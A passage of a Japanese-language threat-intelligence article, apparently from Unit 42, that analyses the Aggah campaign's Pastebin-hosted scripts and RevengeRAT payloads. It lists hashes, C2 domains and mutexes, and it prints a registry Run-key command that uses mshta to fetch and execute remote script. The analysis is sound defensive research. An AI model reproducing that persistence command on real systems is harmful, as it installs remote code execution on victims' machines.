Pastebin\u30da\u30fc\u30b8\u304b\u3089\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3057\u3066\u5b9f\u884c\u3057\u307e\u3059\u3002\u56f310\u306f\u3001tb5gHu2G\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u30db\u30b9\u30c8\u3057\u3066\u3044\u308bPastebin\u30da\u30fc\u30b8\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101420\" aria-describedby=\"caption-attachment-101420\" style=\"width: 1043px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101420 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-197.png\" alt=\"\u56f310. tb5gHu2G Pastebin\u30da\u30fc\u30b8\" width=\"1043\" height=\"541\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-197.png 1043w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-197-300x156.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-197-768x398.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-197-1024x531.png 1024w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-197-900x467.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-197-370x192.png 370w\" sizes=\"(max-width: 1043px) 100vw, 1043px\" \/><figcaption id=\"caption-attachment-101420\" class=\"wp-caption-text\">\u56f310. tb5gHu2G Pastebin\u30da\u30fc\u30b8<\/figcaption><\/figure>\n<h2>\u81ea\u52d5\u5b9f\u884c\u30ec\u30b8\u30b9\u30c8\u30ea \u30ad\u30fc\u306e\u4f5c\u6210<\/h2>\n<p>Blogspot\u30d6\u30ed\u30b0\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u81ea\u52d5\u5b9f\u884c\u30ec\u30b8\u30b9\u30c8\u30ea \u30ad\u30fc\u3092\u4f5c\u6210\u3057\u307e\u3059\u3002\u3053\u308c\u306f\u3001\u524d\u8ff0\u306e\u30b9\u30b1\u30b8\u30e5\u30fc\u30eb\u3055\u308c\u305f\u30bf\u30b9\u30af\u3092\u88dc\u5b8c\u3059\u308b\u7b2c2\u306e\u6c38\u7d9a\u6027\u30e1\u30ab\u30cb\u30ba\u30e0\u306e\u3088\u3046\u3067\u3059\u3002\u81ea\u52d5\u5b9f\u884c\u30ad\u30fc\u3092\u4f5c\u6210\u3059\u308b\u305f\u3081\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u306f\u4ee5\u4e0b\u306e\u30b3\u30de\u30f3\u30c9\u3092\u751f\u6210\u3057\u3001\u305d\u308c\u3092\u5b9f\u884c\u3057\u3088\u3046\u3068\u3057\u307e\u3059\u3002<\/p>\n<pre>CreateObject(\"Wscript.Shell\").regwrite \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\MicrosoftUpdate\", \"C:\\Windows\\System32\\mshta.exe vbscript:CreateObject(\"\"Wscript.Shell\"\").Run(\"\"mshta.exe%20http:\/\/pastebin[.]com\/raw\/YYZq1XR0\u2033\",0,true)(window.close)\" , \"REG_EXPAND_SZ\"\r\n<\/pre>\n<p>\u3053\u306e\u5b9f\u884c\u30ad\u30fc\u306f\u3001\u3055\u3089\u306b\u5225\u306ePastebin URL\u306ehttp:\/\/pastebin[.]com\/raw\/YYZq1XR0\u3067\u30db\u30b9\u30c8\u3055\u308c\u3066\u3044\u308b\u30b3\u30f3\u30c6\u30f3\u30c4\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3092\u8a66\u307f\u3001Wscript.Shell\u30aa\u30d6\u30b8\u30a7\u30af\u30c8\u3092\u4f7f\u7528\u3057\u3066\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u3068\u3057\u3066\u305d\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u5b9f\u884c\u3057\u307e\u3059\u3002\u56f311\u306f\u3001\u30b9\u30af\u30ea\u30d7\u30c8\u306e\u30b3\u30f3\u30c6\u30f3\u30c4\u3092\u8868\u793a\u3057\u3066\u3044\u308bPastebin\u30da\u30fc\u30b8\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101422\" aria-describedby=\"caption-attachment-101422\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101422 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-198.png\" alt=\"\u56f311.YYZq1XR0 Pastebin\u30da\u30fc\u30b8\" width=\"974\" height=\"522\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-198.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-198-300x161.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-198-768x412.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-198-900x482.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-198-370x198.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101422\" class=\"wp-caption-text\">\u56f311.YYZq1XR0 Pastebin\u30da\u30fc\u30b8<em style=\"font-size: 16px;\">\u00a0<\/em><\/figcaption><\/figure>\n<p>YYZq1XR0 Pastebin\u8cbc\u308a\u4ed8\u3051\u306b\u306f\u3001\u307b\u3068\u3093\u3069\u5f79\u306b\u7acb\u305f\u306a\u3044\u4ee5\u4e0b\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u542b\u307e\u308c\u307e\u3059\u3002<\/p>\n<p style=\"padding-left: 40px;\"><span style=\"font-family: 'courier new', courier, monospace;\">&lt;script language=\"VBScript\"&gt;<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">self.close<br \/>\n<\/span><span style=\"font-family: 'courier new', courier, monospace;\">&lt;\/script&gt;<\/span><\/p>\n<p>\u4e0a\u8a18\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u307b\u3068\u3093\u3069\u5f79\u306b\u7acb\u305f\u306a\u3044\u3068\u3044\u3046\u4e8b\u5b9f\u306f\u3001\u653b\u6483\u8005\u304c\u5fc5\u8981\u306a\u3068\u304d\u306b\u8ffd\u52a0\u306e\u6a5f\u80fd\u3092\u542b\u3080\u65b0\u305f\u306a\u30b9\u30af\u30ea\u30d7\u30c8\u3067\u3001\u3053\u306e\u8cbc\u308a\u4ed8\u3051\u3092\u66f4\u65b0\u3059\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3053\u3068\u3092\u793a\u5506\u3057\u3066\u3044\u307e\u3059\u3002\u8cbc\u308a\u4ed8\u3051\u304c\"Pro\"\u30a2\u30ab\u30a6\u30f3\u30c8\u3092\u4f7f\u7528\u3057\u3066\u4f5c\u6210\u3055\u308c\u3066\u3044\u308b\u5834\u5408\u306f\u3001\u8cbc\u308a\u4ed8\u3051\u306e\u7de8\u96c6\u304c\u3067\u304d\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u8cbc\u308a\u4ed8\u3051\u306fHAGGA\u3068\u3044\u3046\u540d\u524d\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u306b\u3088\u3063\u3066\u4f5c\u6210\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30a2\u30ab\u30a6\u30f3\u30c8\u306f\u3001\u653b\u6483\u8005\u304c\u611f\u67d3\u3057\u305f\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u5b9f\u884c\u3059\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u66f4\u65b0\u3067\u304d\u308b\u3088\u3046\u306b\u3059\u308b\u305f\u3081\u306ePRO\u30a2\u30ab\u30a6\u30f3\u30c8\u3067\u3042\u308b\u3088\u3046\u3067\u3059\u3002HAGGA\u306b\u306f\u3001\u4ee5\u4e0b\u306e\u56f312\u306b\u793a\u3059\u3068\u304a\u308a\u3001\u3044\u304f\u3064\u304b\u306e\u8ffd\u52a0\u306e\u8cbc\u308a\u4ed8\u3051\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u8cbc\u308a\u4ed8\u3051\u306b\u306f\u3001\u6700\u7d42\u7684\u306b\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u4f5c\u6210\u3059\u308b\u305f\u3081\u306b\u4f7f\u7528\u3055\u308c\u308b\u8ffd\u52a0\u306e\u60aa\u610f\u306e\u3042\u308b\u30b9\u30af\u30ea\u30d7\u30c8\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<figure id=\"attachment_101424\" aria-describedby=\"caption-attachment-101424\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101424 lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-199.png\" alt=\"\u56f312.Hagga\u306ePastebin\u30da\u30fc\u30b8\" width=\"974\" height=\"385\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-199.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-199-300x119.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-199-768x304.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-199-900x356.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-199-370x146.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101424\" class=\"wp-caption-text\">\u56f312.Hagga\u306ePastebin\u30da\u30fc\u30b8<\/figcaption><\/figure>\n<h2>\u3088\u308a\u5927\u898f\u6a21\u306a\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u4e00\u90e8?<\/h2>\n<p>\u3053\u306e\u7279\u5b9a\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u8abf\u67fb\u4e2d\u306b\u3001Bit.ly\u3067\u78ba\u8a8d\u53ef\u80fd\u306a\u30af\u30ea\u30c3\u30af\u6570\u3092\u8abf\u3079\u307e\u3057\u305f\u30022019\u5e744\u670811\u65e5\u73fe\u5728\u3001\u4e0a\u8a18\u306e\u5206\u6790\u3067\u53c2\u7167\u3057\u305fBit.ly\u30ea\u30f3\u30af\u3001SmexEaldos3\u306b\u306f\u3001\u5317\u7c73\u3001\u6b27\u5dde\u3001\u30a2\u30b8\u30a2\u304a\u3088\u3073\u4e2d\u6771\u306e\u5168\u57df\u306b\u308f\u305f\u308a\u3001\u7d0420\u304b\u56fd\u30671,900\u56de\u3092\u8d85\u3048\u308b\u30af\u30ea\u30c3\u30af\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u306e\u5927\u91cf\u306e\u30af\u30ea\u30c3\u30af\u6570\u304b\u3089\u3001\u5f0a\u793e\u306f\u3001\u81ea\u5206\u305f\u3061\u304c\u5b9f\u969b\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306e\u6975\u3081\u3066\u5c0f\u3055\u306a\u90e8\u5206\u306e\u307f\u3092\u898b\u3066\u3044\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3053\u3068\u306b\u6c17\u4ed8\u304d\u307e\u3057\u305f\u3002\u307e\u305f\u3001\u3053\u308c\u3089\u306e\u30af\u30ea\u30c3\u30af\u6570\u306b\u306f\u3001\u8abf\u67fb\u3084\u8ffd\u53ca\u306e\u53d6\u308a\u7d44\u307f\u306b\u304a\u3051\u308b\u77ed\u7e2e\u30ea\u30f3\u30af\u3078\u306e\u500b\u4eba\u306b\u3088\u308b\u30a2\u30af\u30bb\u30b9\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u53ef\u80fd\u6027\u3082\u975e\u5e38\u306b\u9ad8\u3044\u305f\u3081\u3001\u3053\u306e\u6570\u5b57\u306f\u611f\u67d3\u3057\u305f\u30db\u30b9\u30c8\u6570\u3092\u6b63\u78ba\u306b\u306f\u8868\u3057\u3066\u3044\u307e\u305b\u3093\u3002<\/p>\n<figure id=\"attachment_101426\" aria-describedby=\"caption-attachment-101426\" style=\"width: 974px\" class=\"wp-caption aligncenter\"><img  class=\"wp-image-101426 size-full lozad\"  data-src=\"https:\/\/unit42-preview.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-200.png\" alt=\"\u56f313. bitly SmexEaldos3\u30da\u30fc\u30b8\u306e\u30af\u30ea\u30c3\u30af\u6570\" width=\"974\" height=\"683\" srcset=\"https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-200.png 974w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-200-300x210.png 300w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-200-768x539.png 768w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-200-900x631.png 900w, https:\/\/unit42.paloaltonetworks.com\/wp-content\/uploads\/2019\/11\/word-image-200-370x259.png 370w\" sizes=\"(max-width: 974px) 100vw, 974px\" \/><figcaption id=\"caption-attachment-101426\" class=\"wp-caption-text\">\u56f313. bitly SmexEaldos3\u30da\u30fc\u30b8\u306e\u30af\u30ea\u30c3\u30af\u6570<em style=\"font-size: 16px;\">\u00a0<\/em><\/figcaption><\/figure>\n<p>\u3082\u3046\u5c11\u3057\u5800\u4e0b\u3052\u3066\u3001\u6587\u66f8\u306e\u30d7\u30ed\u30d1\u30c6\u30a3\u3092\u8abf\u3079\u3001\u95a2\u9023\u3059\u308b\u30a2\u30af\u30c6\u30a3\u30d3\u30c6\u30a3\u306e\u7279\u5b9a\u306b\u5f79\u7acb\u3066\u308b\u305f\u3081\u306b\u3069\u306e\u8ffd\u52a0\u60c5\u5831\u3092\u4f7f\u7528\u3067\u304d\u308b\u304b\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\u6587\u66f8\u306e\u30d7\u30ed\u30d1\u30c6\u30a3\u306f\u3001\u3053\u308c\u3089\u306e\u30aa\u30da\u30ec\u30fc\u30bf\u304c\u6d77\u8cca\u7248\u3068\u307f\u3089\u308c\u308bMicrosoft Word\u3092\u7528\u3044\u3001\u6587\u66f8\u306e\u4f5c\u6210\u8005\u3068\u3057\u3066\u6587\u5b57\u5217'Lulli moti myri'\u3092\u4f7f\u7528\u3057\u3066\u3044\u305f\u3053\u3068\u3092\u793a\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u6587\u5b57\u5217\u3092\u4f7f\u7528\u3057\u3066\u3001\u5f0a\u793e\u306e\u30ea\u30dd\u30b8\u30c8\u30ea\u3092\u691c\u7d22\u3057\u300112\u306eMicrosoft Office\u6587\u66f8\u3092\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002\u305d\u308c\u3089\u306e\u534a\u5206\u306fDOCX\u3067\u3001\u6b8b\u308a\u306e\u534a\u5206\u306fXLS\u3067\u3057\u305f\u3002<\/p>\n<p>\u3059\u3079\u3066\u306e\u6587\u66f8\u306e\u30bf\u30a4\u30e0\u30b9\u30bf\u30f3\u30d7\u304c2019\u5e741\u6708\u304b\u30894\u6708\u307e\u3067\u3067\u3001\u305d\u308c\u305e\u308c\u306b\u3001Blogspot\u30da\u30fc\u30b8\u3078\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u3055\u308c\u308bBit.ly URL\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u3002\u3053\u308c\u3089\u306e\u6587\u66f8\u306f\u3059\u3079\u3066\u5f0a\u793e\u306b\u3068\u3063\u3066\u8208\u5473\u6df1\u3044\u3082\u306e\u3067\u3057\u305f\u304c\u3001\u5f0a\u793e\u306f\u3001\u5143\u30d5\u30a1\u30a4\u30eb\u306eActivity.doc\u3068\u540c\u3058Bit.ly URL\u304c\u8a2d\u5b9a\u3055\u308c\u305f1\u3064\u306e\u6587\u66f8\u306b\u6c17\u4ed8\u304d\u307e\u3057\u305f\u3002\u3053\u306e\u30d5\u30a1\u30a4\u30eb\u306b\u306f\u4ee5\u4e0b\u306eSHA256\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td>SHA256<\/td>\n<td>ef837119fc241e8fde85f36f4635a71f6b87aecf39dc979961be914 f48c4ef4c<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88683.Activity.doc\u3068\u540c\u69d8\u306b\u8a2d\u5b9a\u3055\u308c\u305f\u6587\u66f8<\/em><\/p>\n<p>\u5f0a\u793e\u3067\u306e\u5206\u6790\u4e2d\u306b\u3001\u3044\u304f\u3064\u304b\u306eBit.ly URL\u3068\u3001\u305d\u308c\u3089\u306e\u30ea\u30c0\u30a4\u30ec\u30af\u30c8\u306e\u7d50\u679c\u304cRevengeRAT\u306e\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3067\u3042\u308b\u3053\u3068\u3092\u7279\u5b9a\u3057\u307e\u3057\u305f\u3002\u3042\u308b\u7279\u5b9a\u306e\u30b5\u30f3\u30d7\u30eb\u306b\u306f\u3001C2\u30c9\u30e1\u30a4\u30f3kronozzz2.duckdns[.]org\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30b5\u30f3\u30d7\u30eb\u306b\u306f\u3001\u4ee5\u4e0b\u306eSHA256\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td>SHA256<\/td>\n<td>c365b15cb567da7e9c04dffa0de1cb2b8104d5fe668c17691d8c683 80bcd6d30<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88684.pastebin[.]com\/raw\/sgawvit9\u304b\u3089\u306e\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9<\/em><\/p>\n<p>HAGGA\u306e\u8cbc\u308a\u4ed8\u3051\u306e1\u3064\u306b\u306f\u3001\u30bf\u30a4\u30c8\u30eb'kronoz2 back2new'\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u30c9\u30e1\u30a4\u30f3\u306f\u3001\u56f312\u306b\u793a\u3059HAGGA Pastebin\u30a2\u30ab\u30a6\u30f3\u30c8\u3068\u306e\u5225\u306e\u95a2\u4fc2\u304c\u5b58\u5728\u3059\u308b\u53ef\u80fd\u6027\u3092\u793a\u3057\u3066\u3044\u307e\u3057\u305f\u3002\u30aa\u30fc\u30d7\u30f3 \u30bd\u30fc\u30b9\u306e\u8abf\u67fb\u304b\u3089\u3001\u985e\u4f3c\u3059\u308b\u30c9\u30e1\u30a4\u30f3kronoz.duckdns[.]org\u304c\u3001\u4ee5\u4e0b\u306e\u30cf\u30c3\u30b7\u30e5\u3067RevengeRAT\u30b5\u30f3\u30d7\u30eb\u306b\u95a2\u9023\u4ed8\u3051\u3089\u308c\u3066\u3044\u308b\u3053\u3068\u304c\u660e\u3089\u304b\u306b\u306a\u308a\u307e\u3057\u305f\u3002<\/p>\n<table>\n<tbody>\n<tr>\n<td>SHA256<\/td>\n<td>fa5500a45e98e084b489301fd109676a4d8b0d3b39df4d9e2288569 e232a9401<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p><em>\u88685.kronoz.duckdns[.]org\u306b\u95a2\u9023\u4ed8\u3051\u3089\u308c\u305f\u30d5\u30a1\u30a4\u30eb<\/em><\/p>\n<p>\u3059\u3079\u3066\u306e\u7279\u5b9a\u3055\u308c\u305f\u30b5\u30f3\u30d7\u30eb\u306f\u3001\u4ed8\u9332A\u306b\u8a18\u8f09\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u3059\u3079\u3066\u306e\u914d\u4fe1\u6587\u66f8\u3068RevengeRAT\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u8abf\u3079\u3066\u307f\u308b\u3068\u30011\u3064\u306e\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u9664\u304f\u3059\u3079\u3066\u306b\u30df\u30e5\u30fc\u30c6\u30c3\u30af\u30b9RV_MUTEX-WindowsUpdateSysten32 (\u653b\u6483\u8005\u306b\u3088\u3063\u3066\"System32\"\u3092\"Systen32\"\u3068\u610f\u56f3\u7684\u306b\u30b9\u30da\u30eb\u30df\u30b9\u3055\u308c\u3066\u3044\u308b\u70b9\u306b\u6ce8\u610f)\u3068\u3001HOTEIS NOVOS (\u30dd\u30eb\u30c8\u30ac\u30eb\u8a9e\u3067\"NEW HOTELS\")\u306b\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u308bbase64\u30a8\u30f3\u30b3\u30fc\u30c9\u3055\u308c\u305fID SE9URUlTIE5PVk9T\u304c\u542b\u307e\u308c\u3066\u3044\u308b\u3053\u3068\u3092\u767a\u898b\u3057\u307e\u3057\u305f\u3002\u5f0a\u793e\u306e\u4f7f\u7528\u53ef\u80fd\u306a\u30ea\u30dd\u30b8\u30c8\u30ea\u3092\u691c\u7d22\u3057\u3066\u3001\u3053\u308c\u3089\u306e\u6587\u5b57\u5217\u3092\u542b\u3080\u30b5\u30f3\u30d7\u30eb\u6570\u3092\u78ba\u8a8d\u3057\u307e\u3057\u305f\u3002\u65e9\u304f\u306f2018\u5e749\u6708\u3092\u76ae\u5207\u308a\u306b50\u3092\u8d85\u3048\u308b\u30d5\u30a1\u30a4\u30eb\u304c\u898b\u3064\u304b\u308a\u307e\u3057\u305f\u3002\u305d\u308c\u3089\u306f\u3001\u4ed8\u9332A\u306b\u8a18\u8f09\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30b5\u30f3\u30d7\u30eb\u306e\u591a\u304f\u306b\u3001\u540c\u3058'hagga'\u30ad\u30fc\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3057\u305f\u304c\u3001\u305d\u308c\u4ee5\u5916\u306b\u30823\u3064\u306e\u8ffd\u52a0\u7684\u306a\u30ad\u30fc\u306b\u3082\u6c17\u4ed8\u304d\u307e\u3057\u305f\u3002'oldman'\u3001'steve'\u3001'roma225'\u3067\u3059\u3002'roma225'\u30ad\u30fc\u306b\u3064\u3044\u3066\u306f\u30012018\u5e7412\u6708\u306e<a href=\"https:\/\/blog.yoroi.company\/research\/the-enigmatic-roma225-campaign\/\">Yoroi\u306b\u3088\u308b\u300cThe Enigmatic \"Roma225\" Campaign\u300d<\/a>\u3068\u3044\u3046\u30bf\u30a4\u30c8\u30eb\u306e\u767a\u884c\u7269\u3067\u8aac\u660e\u3055\u308c\u3066\u3044\u307e\u3059\u3002\u30df\u30e5\u30fc\u30c6\u30c3\u30af\u30b9\u3068ID\u304c\u8a2d\u5b9a\u3055\u308c\u3066\u3044\u306a\u30441\u3064\u306e\u30b5\u30f3\u30d7\u30eb\u306f\u3001\u88685\u306b\u8a18\u8f09\u3057\u305f\u30b5\u30f3\u30d7\u30eb\u3067\u3057\u305f\u3002\u305d\u306e\u30b5\u30f3\u30d7\u30eb\u306b\u306f\u3001\u30df\u30e5\u30fc\u30c6\u30c3\u30af\u30b9RV_MUTEX-cuiGGjjtnxDpnF\u3068\u3001'Milegona'\u306b\u30c7\u30b3\u30fc\u30c9\u3055\u308c\u308bID TWlsZWdvbmE=\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n<h2>RevengeRAT\u30b5\u30f3\u30d7\u30eb\u306e\u76f8\u95a2\u4ed8\u3051<\/h2>\n<p>RevengeRAT\u306f\u3001\u30aa\u30fc\u30d7\u30f3 \u30bd\u30fc\u30b9\u3067\u7121\u6599\u3067\u5165\u624b\u53ef\u80fd\u306a\u30d3\u30eb\u30c0\u30fc\u304c\u591a\u6570\u6f0f\u51fa\u3057\u3066\u3044\u308b\u5546\u7528\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3067\u3001\u30c4\u30fc\u30eb\u306e\u4f7f\u7528\u3092\u7279\u5b9a\u306e\u653b\u6483\u8005\u307e\u305f\u306f\u653b\u6483\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u306b\u5e30\u5c5e\u3055\u305b\u308b\u3053\u3068\u3092\u56f0\u96e3\u306b\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u305f\u3081\u3001Aggah\u95a2\u9023\u306e\u30b5\u30f3\u30d7\u30eb\u3067\u898b\u3089\u308c\u308b\u30df\u30e5\u30fc\u30c6\u30c3\u30af\u30b9\u3001ID\u3001\u304a\u3088\u3073\u30ad\u30fc\u304c\u3001RevengeRAT\u306e\u6a19\u6e96\u306e\u30c7\u30d5\u30a9\u30eb\u30c8\u5024\u3067\u306f\u306a\u3044\u306e\u304b\u3069\u3046\u304b\u3001\u307e\u305f\u30d4\u30dc\u30c3\u30c8\u3084\u76f8\u95a2\u4ed8\u3051\u3092\u76ee\u7684\u306b\u4f7f\u7528\u3059\u308b\u305f\u3081\u306e\u5341\u5206\u306a\u5f37\u5ea6\u304c\u305d\u308c\u3089\u306b\u3042\u308b\u306e\u304b\u3069\u3046\u304b\u3092\u5224\u5225\u3057\u3088\u3046\u3068\u3057\u307e\u3057\u305f\u30022\u4eba\u306e\u7121\u95a2\u4fc2\u306a\u653b\u6483\u8005\u304c\u8a2d\u5b9a\u3067\u540c\u3058\u5024\u3092\u4f7f\u7528\u3059\u308b\u53ef\u80fd\u6027\u3092\u6e2c\u5b9a\u3059\u308b\u305f\u3081\u306b\u3001\u6f0f\u51fa\u3057\u305fRevengeRAT\u30d3\u30eb\u30c0\u30fc(v0.3)\u3092\u4f7f\u7528\u3057\u3066\u3001\u653b\u6483\u8005\u304c\u3001Aggah\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u914d\u4fe1\u3055\u308c\u305f\u30da\u30a4\u30ed\u30fc\u30c9\u3068\u540c\u3058\u30df\u30e5\u30fc\u30c6\u30c3\u30af\u30b9\u3001ID\u3001\u30ad\u30fc\u3092\u5171\u6709\u3059\u308bRevengeRAT\u30b5\u30f3\u30d7\u30eb\u3092\u4f5c\u6210\u3059\u308b\u305f\u3081\u306b\u305f\u3069\u308b\u5fc5\u8981\u306e\u3042\u308b\u30d7\u30ed\u30bb\u30b9\u3092\u8996\u899a\u5316\u3057\u307e\u3057\u305f\u3002<\/p>\n<p>\u9a5a\u3044\u305f\u3053\u3068\u306b\u30012\u4eba\u306e\u7121\u95a2\u4fc2\u306a\u500b\u4eba\u304c\u5358\u306a\u308b\u5076\u7136\u3067\u3001\u305d\u306e\u30df\u30e5\u30fc\u30c6\u30c3\u30af\u30b9\u3001ID\u3001\u304a\u3088\u3073\u30ad\u30fc\u3092\u4f7f\u7528\u3059\u308b\u53ef\u80fd\u6027\u306f\u4e88\u60f3\u4ee5\u4e0a\u306b\u4f4e\u3044\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3057\u305f\u3002\u3053\u308c\u306f\u3001\u653b\u6483\u8005\u304c\u3001\u30df\u30e5\u30fc\u30c6\u30c3\u30af\u30b9\u3001ID\u3001\u304a\u3088\u3073\u30ad\u30fc\u3092\u3001RevengeRAT\u30d3\u30eb\u30c0\u30fc\u5185\u306e\u7279\u5b9a\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u306b\u624b\u4f5c\u696d\u3067\u5165\u529b\u3059\u308b\u5fc5\u8981\u304c\u3042\u308b\u305f\u3081\u3060\u3068\u8003\u3048\u307e\u3059\u3002\u3053\u308c\u3089\u306e\u30d5\u30a3\u30fc\u30eb\u30c9\u306f\u3001\u30c8\u30ed\u30a4\u306e\u6728\u99ac\u3092\u4f5c\u6210\u3059\u308b\u305f\u3081\u306b\u5fc5\u8981\u306a\u624b\u9806\u306e\u4ee5\u4e0b\u306e\u8aac\u660e\u306e\u4e2d\u3067\u53d6\u308a\u4e0a\u3052\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u3053\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u4f7f\u7528\u3055\u308c\u305fRevengeRAT\u30da\u30a4\u30ed\u30fc\u30c9\u3092\u4f5c\u6210\u3059\u308b\u305f\u3081\u306b\u3001\u653b\u6483\u8005\u306fRevengeRAT\u30b5\u30fc\u30d0\u30fc\u3092\u4f7f\u7528\u3057\u3066\u3001\u9069\u5207\u306b\u30d5\u30a3\u30fc\u30eb\u30c9\u304c\u8a2d\u5b9a\u3055\u308c\u305f\u5b9f\u884c\u53ef\u80fd\u30d5\u30a1\u30a4\u30eb\u3092\u30b3\u30f3\u30d1\u30a4\u30eb\u3057\u307e\u3059\u3002\u521d\u3081\u306b\u3001\u653b\u6483\u8005\u306f\u3001\u56f314\u306b\u793a\u3059\u3068\u304a\u308a\u3001\u300cSocket Key(\u30bd\u30b1\u30c3\u30c8 \u30ad\u30fc)\u300d\u30d5\u30a3\u30fc\u30eb\u30c9\u3092\"hagga\"\u306b\u8a2d\u5b9a\u3057\u3001\u300cStart Listening(\u30ea\u30b9\u30cb\u30f3\u30b0\u306e\u958b\u59cb)\u300d\u3092\u30af\u30ea\u30c3\u30af\u3057\u307e\u3059\u3002<\/p>\n<figure 